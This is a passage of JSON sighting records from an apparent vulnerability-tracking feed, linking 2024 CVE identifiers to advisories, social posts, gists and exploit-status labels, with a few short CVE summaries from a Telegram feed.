"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55573", "type": "seen", "source": "MISP/d0bda5d9-8cbc-4c6c-8803-a5e3150f9ec2", "content": "", "creation_timestamp": "2025-09-01T19:03:03.000000Z"}, {"uuid": "a4211592-1fb0-434c-be1f-0ec447be4e36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55931", "type": "seen", "source": "MISP/d0bda5d9-8cbc-4c6c-8803-a5e3150f9ec2", "content": "", "creation_timestamp": "2025-09-01T19:03:03.000000Z"}, {"uuid": "3b69e3da-4044-474b-98a5-7516f9108eef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/cleo_rce_cve_2024_55956.rb", "content": "", "creation_timestamp": "2025-01-15T21:13:37.000000Z"}, {"uuid": "d70ee5ba-5107-40a5-853b-62116c78e629", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55225", "type": "seen", "source": "MISP/3445a876-cced-4346-bf37-e276ba39cff4", "content": "", "creation_timestamp": "2025-09-02T18:30:14.000000Z"}, {"uuid": "de27b12f-ab3b-40e7-abf9-dc1ba0d5e3c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "seen", "source": "MISP/3445a876-cced-4346-bf37-e276ba39cff4", "content": "", "creation_timestamp": "2025-09-02T18:30:14.000000Z"}, {"uuid": "93f7a68f-4b7f-4430-b48e-8b6d924629ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5535", "type": "seen", "source": "https://gist.github.com/fried/d2108a4932f3a22712dfc04598b5b8ce", "content": "", "creation_timestamp": "2025-09-03T23:06:32.000000Z"}, {"uuid": "ac16f0fa-0ae3-4724-874f-ee28abb8ec31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55988", "type": "seen", "source": "MISP/dd71e3c5-20f7-409a-8bcc-8df3cd8022a7", "content": "", "creation_timestamp": "2025-09-03T13:30:06.000000Z"}, {"uuid": "39c2928a-ad7d-4fc9-adc2-e3c9c76e0929", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://swecyb.com/ap/users/116080658609901341/statuses/116169990501370107", "content": "", "creation_timestamp": "2026-03-04T08:36:42.570423Z"}, {"uuid": "b1635ab8-4e85-4fbe-8dac-53d62fe94e9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55024", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgb6hotqap2i", "content": "", "creation_timestamp": "2026-03-04T21:00:16.414036Z"}, {"uuid": "9de9c000-f379-4f8e-8260-721e87b263d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55947", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-0122b398-ead7a30f46f5b85a", "content": "", "creation_timestamp": "2025-12-12T15:59:44.273477Z"}, {"uuid": "802b3bc4-6f41-4144-980f-c3bf4a280035", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55020", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg6rblrgik2u", "content": "", "creation_timestamp": "2026-03-03T21:58:53.337918Z"}, {"uuid": "af819f13-194e-4577-bee3-c0dd27490c93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55020", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mg6rhgmzi42i", "content": "", "creation_timestamp": "2026-03-03T22:02:09.560519Z"}, {"uuid": "b29f5f7d-15ce-4485-9fd9-9b6ab3e32ed8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55024", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg6sffhfyr2e", "content": "", "creation_timestamp": "2026-03-03T22:18:54.809260Z"}, {"uuid": "01301f17-6e87-405f-b63d-94c73f399ce5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55890", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mah44ehcyv2f", "content": "", "creation_timestamp": "2025-12-20T21:02:59.296521Z"}, {"uuid": "2365e57e-d365-4484-b949-23fa1e3f60e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55947", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mbir4au5js2q", "content": "", "creation_timestamp": "2026-01-03T06:16:34.505021Z"}, {"uuid": "f990344a-2579-483c-a4a2-5cc80b92767d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55947", "type": "seen", "source": "https://bsky.app/profile/euvd-bot.bsky.social/post/3mcb3roipap2u", "content": "", "creation_timestamp": "2026-01-12T22:31:23.284339Z"}, {"uuid": "8d766089-eced-494b-b6d0-8f841e91c8d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55414", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "dd87667f-a435-4e28-ac64-6c6947bdc8b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55414", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "ee88652a-8d0d-41fb-b3e6-56228342c152", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "cve-2024-55591", "type": "seen", "source": "https://vulnerability.circl.lu/comment/cae05d8f-677d-4f75-9a64-811c17a16d2d", "content": "", "creation_timestamp": "2025-02-12T05:40:36.908353Z"}, {"uuid": "752b46f1-726a-43f3-ae08-008a69be544e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mhhvuu4ubz23", "content": "", "creation_timestamp": "2026-03-20T06:40:24.537076Z"}, {"uuid": "71499d10-a23d-490b-a849-c9a1b25934bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55023", "type": "seen", "source": "https://gist.github.com/AenganZ/f86ed0da28825a1432ec697f484622de", "content": "", "creation_timestamp": "2026-01-21T10:01:35.000000Z"}, {"uuid": "04f0a744-d7d9-4768-b410-fc72083775cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55024", "type": "seen", "source": "https://gist.github.com/AenganZ/f86ed0da28825a1432ec697f484622de", "content": "", "creation_timestamp": "2026-01-21T10:01:35.000000Z"}, {"uuid": "14690c8b-8686-4f8f-bff3-97bd0a80915f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55021", "type": "seen", "source": "https://gist.github.com/AenganZ/f86ed0da28825a1432ec697f484622de", "content": "", "creation_timestamp": "2026-01-21T10:01:35.000000Z"}, {"uuid": "94b0cfbb-797e-48d7-a8b5-7e52edc40fb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55027", "type": "seen", "source": "https://gist.github.com/AenganZ/f86ed0da28825a1432ec697f484622de", "content": "", "creation_timestamp": "2026-01-21T10:01:35.000000Z"}, {"uuid": "b563fe2b-fc25-429c-89aa-eedbf77424e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55026", "type": "seen", "source": "https://gist.github.com/AenganZ/f86ed0da28825a1432ec697f484622de", "content": "", "creation_timestamp": "2026-01-21T10:01:35.000000Z"}, {"uuid": "1d09ed94-bba8-434e-9a4e-0abe1ded9e4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55022", "type": "seen", "source": "https://gist.github.com/AenganZ/f86ed0da28825a1432ec697f484622de", "content": "", "creation_timestamp": "2026-01-21T10:01:35.000000Z"}, {"uuid": "3df3fc6e-9f4c-4d0e-b86b-36b5320b7121", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55020", "type": "seen", "source": "https://gist.github.com/AenganZ/f86ed0da28825a1432ec697f484622de", "content": "", "creation_timestamp": "2026-01-21T10:01:35.000000Z"}, {"uuid": "7268c496-4b11-4cbc-a2cd-6503320c904f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55025", "type": "seen", "source": "https://gist.github.com/AenganZ/f86ed0da28825a1432ec697f484622de", "content": "", "creation_timestamp": "2026-01-21T10:01:35.000000Z"}, {"uuid": "51554eb3-dd5d-4298-9972-7a6b7407c92a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55019", "type": "seen", "source": "https://gist.github.com/AenganZ/f86ed0da28825a1432ec697f484622de", "content": "", "creation_timestamp": "2026-01-21T10:01:35.000000Z"}, {"uuid": "f14e0474-9657-4c59-a0c4-a166b683cdeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/cb44f848-2e46-430a-b089-517177296c87", "content": "", "creation_timestamp": "2024-12-15T10:09:25.481534Z"}, {"uuid": "44399828-03db-4671-9753-62fb430eaf8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d7599ad9-5fd5-49e3-b7c5-3a17be39df54", "content": "", "creation_timestamp": "2025-02-12T05:38:54.386766Z"}, {"uuid": "f30e788f-925b-474e-b49d-004d51b81225", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/9a35bcae-d831-491f-945c-1fbd54769c38", "content": "", "creation_timestamp": "2025-02-11T19:13:09.529978Z"}, {"uuid": "acc31ae6-ae2f-4871-9b0e-330f278538cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "cve-2024-55591", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/9a35bcae-d831-491f-945c-1fbd54769c38", "content": "", "creation_timestamp": "2025-02-11T19:13:09.529978Z"}, {"uuid": "5916d670-070d-4579-93b3-8cb72d100548", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/hackmag.com/post/3mheumwfv4t23", "content": "", "creation_timestamp": "2026-03-19T01:40:05.215616Z"}, {"uuid": "23fcfe95-586b-45de-abe5-6d374ff2e82a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55947", "type": "seen", "source": "https://gist.github.com/alon710/2fd20a5f9307015a70cb6d5f894dfd78", "content": "", "creation_timestamp": "2026-01-24T21:24:49.000000Z"}, {"uuid": "086aed40-6951-4581-8983-b36d84a6dc07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1459", "content": "", "creation_timestamp": "2025-01-15T04:00:00.000000Z"}, {"uuid": "97b1b595-36da-458a-bc9b-c257b4608809", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55947", "type": "seen", "source": "https://gist.github.com/alon710/e50415c28c2ccb8c041fab0a085c5d6b", "content": "", "creation_timestamp": "2026-01-24T22:33:05.000000Z"}, {"uuid": "114c8634-5b6b-4cdc-8a8d-0048eaf50e8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55947", "type": "seen", "source": "https://gist.github.com/alon710/8ce957780ad4d5b03284158dd7271032", "content": "", "creation_timestamp": "2026-01-24T22:34:39.000000Z"}, {"uuid": "3a5235f2-d5bb-4e90-9e8f-3b71112f371f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55947", "type": "seen", "source": "https://gist.github.com/alon710/26b1e024052763f2bc2806b7cc2488e8", "content": "", "creation_timestamp": "2026-01-24T22:34:36.000000Z"}, {"uuid": "da6f33a6-c970-44a2-b0b3-514da1222878", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-5535", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "741945e6-34f5-4330-b785-361f08042b3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55947", "type": "seen", "source": "https://gist.github.com/alon710/e73027932914f7c8d801134cd6acb90a", "content": "", "creation_timestamp": "2026-01-24T22:33:08.000000Z"}, {"uuid": "2ecd5714-7a7b-4c93-80a6-b704bfce923f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-5569", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "c1f2110d-95b4-4f76-8c60-83fcf9709b0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-55550", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/650157df-bc2e-4a1e-b7fc-de9a9fe7df99", "content": "", "creation_timestamp": "2026-02-02T12:26:17.176080Z"}, {"uuid": "eb841e0d-e9f2-4b97-b494-51b818524cf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-55591", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b3854230-7a18-4ebf-8495-19cc1b3dfa22", "content": "", "creation_timestamp": "2026-02-02T12:25:27.104488Z"}, {"uuid": "6921846b-585d-4dda-8444-e9ad8dd022d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-55591", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/de893410-bd8d-49bf-933d-6b29c6283ee5", "content": "", "creation_timestamp": "2026-02-02T12:26:16.598372Z"}, {"uuid": "794b7604-6743-42f9-88ca-b6087726b955", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-55956", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e72315c2-2733-4a5e-8546-9752df9a8b82", "content": "", "creation_timestamp": "2026-02-02T12:26:18.369759Z"}, {"uuid": "9ca0ae4b-93af-4c03-a03e-52c70844bfbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55064", "type": "seen", "source": "https://t.me/cvedetector/19435", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55064 - EasyVirt DC NetScope Cross-Site Scripting Vulnerabilities\", \n  \"Content\": \"CVE ID : CVE-2024-55064 \nPublished : March 3, 2025, 10:15 p.m. | 2\u00a0hours, 18\u00a0minutes ago \nDescription : Multiple cross-site scripting (XSS) vulnerabilities in EasyVirt DC NetScope &lt;=\nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-04T01:36:59.000000Z"}, {"uuid": "ecab57cb-c738-4f60-b7b4-c12985cc72fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55374", "type": "published-proof-of-concept", "source": "Telegram/ex7NUVZZvMqDEQ0oFhnWKTWA_aNSokjzWKAo_BZNpkQB-yE", "content": "", "creation_timestamp": "2025-12-31T15:00:07.000000Z"}, {"uuid": "bf7813ef-2e60-49b7-b47e-db907f265f3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://gist.github.com/mosez182-ux/d539866d79b323cd0d5c59f55da44bc7", "content": "", "creation_timestamp": "2026-04-07T15:05:19.000000Z"}, {"uuid": "63f6b263-09b3-4b12-b56f-bcdc48c556b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5565", "type": "seen", "source": "Telegram/ZsbHSuDV48H-a1ELq9wdg6d2vdMfx_qBSJBQ7Z887p2osX8", "content": "", "creation_timestamp": "2024-06-27T11:34:54.000000Z"}, {"uuid": "c7c8628c-9b51-4982-9b74-85825d47a559", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55907", "type": "seen", "source": "https://t.me/cvedetector/19264", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55907 - IBM Cognos Analytics Mobile Reverse Engineering Weak Obfuscation\", \n  \"Content\": \"CVE ID : CVE-2024-55907 \nPublished : March 2, 2025, 4:15 p.m. | 1\u00a0hour, 21\u00a0minutes ago \nDescription : IBM Cognos Analytics Mobile 1.1 for iOS application could allow an attacker to reverse engineer the codebase to gain knowledge about the programming technique, interface, class definitions, algorithms and functions used due to weak obfuscation. \nSeverity: 2.0 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-02T19:27:04.000000Z"}, {"uuid": "26a34b50-769a-4f52-9feb-45455c04208f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55964", "type": "seen", "source": "https://t.me/cvedetector/21220", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55964 - Appsmith PostgreSQL Command Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55964 \nPublished : March 26, 2025, 8:15 p.m. | 31\u00a0minutes ago \nDescription : An issue was discovered in Appsmith before 1.52. An incorrectly configured PostgreSQL instance in the Appsmith image leads to remote command execution inside the Appsmith Docker container. The attacker must be able to access Appsmith, login to it, create a datasource, create a query against that datasource, and execute that query. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-26T22:15:26.000000Z"}, {"uuid": "e3b9443b-6622-4a37-88aa-56ff85110278", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55963", "type": "seen", "source": "https://t.me/cvedetector/21219", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55963 - Appsmith DoS: Unauthorized Server Restart\", \n  \"Content\": \"CVE ID : CVE-2024-55963 \nPublished : March 26, 2025, 8:15 p.m. | 31\u00a0minutes ago \nDescription : An issue was discovered in Appsmith before 1.51. A user on Appsmith that doesn't have admin permissions can trigger the restart API on Appsmith, causing a server restart. This is still within the Appsmith container, and the impact is limited to Appsmith's own server only, but there is a denial of service because it can be continually restarted. This is due to incorrect access control checks, which should check for super user permissions on the incoming request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-26T22:15:22.000000Z"}, {"uuid": "849b0969-44ad-4b5a-ac2e-799c0e146c65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55198", "type": "seen", "source": "https://t.me/cvedetector/20219", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55198 - Celk Sistemas Celk Saude User Enumeration Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55198 \nPublished : March 13, 2025, 3:15 p.m. | 41\u00a0minutes ago \nDescription : User Enumeration via Discrepancies in Error Messages in the Celk Sistemas Celk Saude v.3.1.252.1 password recovery functionality which allows a remote attacker to enumerate users through discrepancies in the responses. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-13T17:17:23.000000Z"}, {"uuid": "ac441638-e3c1-4600-8ec3-c81fd5b40b88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55592", "type": "seen", "source": "https://t.me/cvedetector/20092", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55592 - FortiSIEM Authorization Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55592 \nPublished : March 11, 2025, 3:15 p.m. | 1\u00a0hour ago \nDescription : An incorrect authorization vulnerability [CWE-863] in FortiSIEM 7.2 all versions, 7.1 all versions, 7.0 all versions, 6.7 all versions, 6.6 all versions, 6.5 all versions, 6.4 all versions, 6.3 all versions, 6.2 all versions, 6.1 all versions, 5.4 all versions, 5.3 all versions, may allow an authenticated attacker to perform unauthorized operations on incidents via crafted HTTP requests. \nSeverity: 3.8 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-11T17:37:38.000000Z"}, {"uuid": "a2d7a154-f959-4fdf-b512-0cda714ff126", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55590", "type": "seen", "source": "https://t.me/cvedetector/20091", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55590 - Fortinet FortiIsolator OS Command Injection\", \n  \"Content\": \"CVE ID : CVE-2024-55590 \nPublished : March 11, 2025, 3:15 p.m. | 1\u00a0hour ago \nDescription : Multiple improper neutralization of special elements used in an OS command ('OS Command Injection') vulnerabilities [CWE-78] in Fortinet FortiIsolator version 2.4.0 through 2.4.5 allows an authenticated attacker with at least read-only admin permission and CLI access to execute unauthorized code via specifically crafted CLI commands. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-11T17:37:37.000000Z"}, {"uuid": "d2b8c893-f803-4430-82d0-9a23014a21a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55597", "type": "seen", "source": "https://t.me/cvedetector/20088", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55597 - Fortinet FortiWeb Path Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55597 \nPublished : March 11, 2025, 3:15 p.m. | 1\u00a0hour ago \nDescription : A improper limitation of a pathname to a restricted directory ('path traversal') in Fortinet FortiWeb versions 7.0.0 through 7.6.0 allows attacker to execute unauthorized code or commands via crafted requests. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-11T17:37:32.000000Z"}, {"uuid": "2ed642cf-f177-45d8-9ebd-96e5c6426f76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55414", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "ca6d8fca-ceaa-4975-b3f4-70c658d88d2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55661", "type": "published-proof-of-concept", "source": "Telegram/vpx3YKOcAueFTTlBXmAmNxsIEwTkvSUeFD5DKiDa4uIA5wkK", "content": "", "creation_timestamp": "2025-09-11T08:57:04.000000Z"}, {"uuid": "abd3e615-6e15-4343-9c1c-f38395212fde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 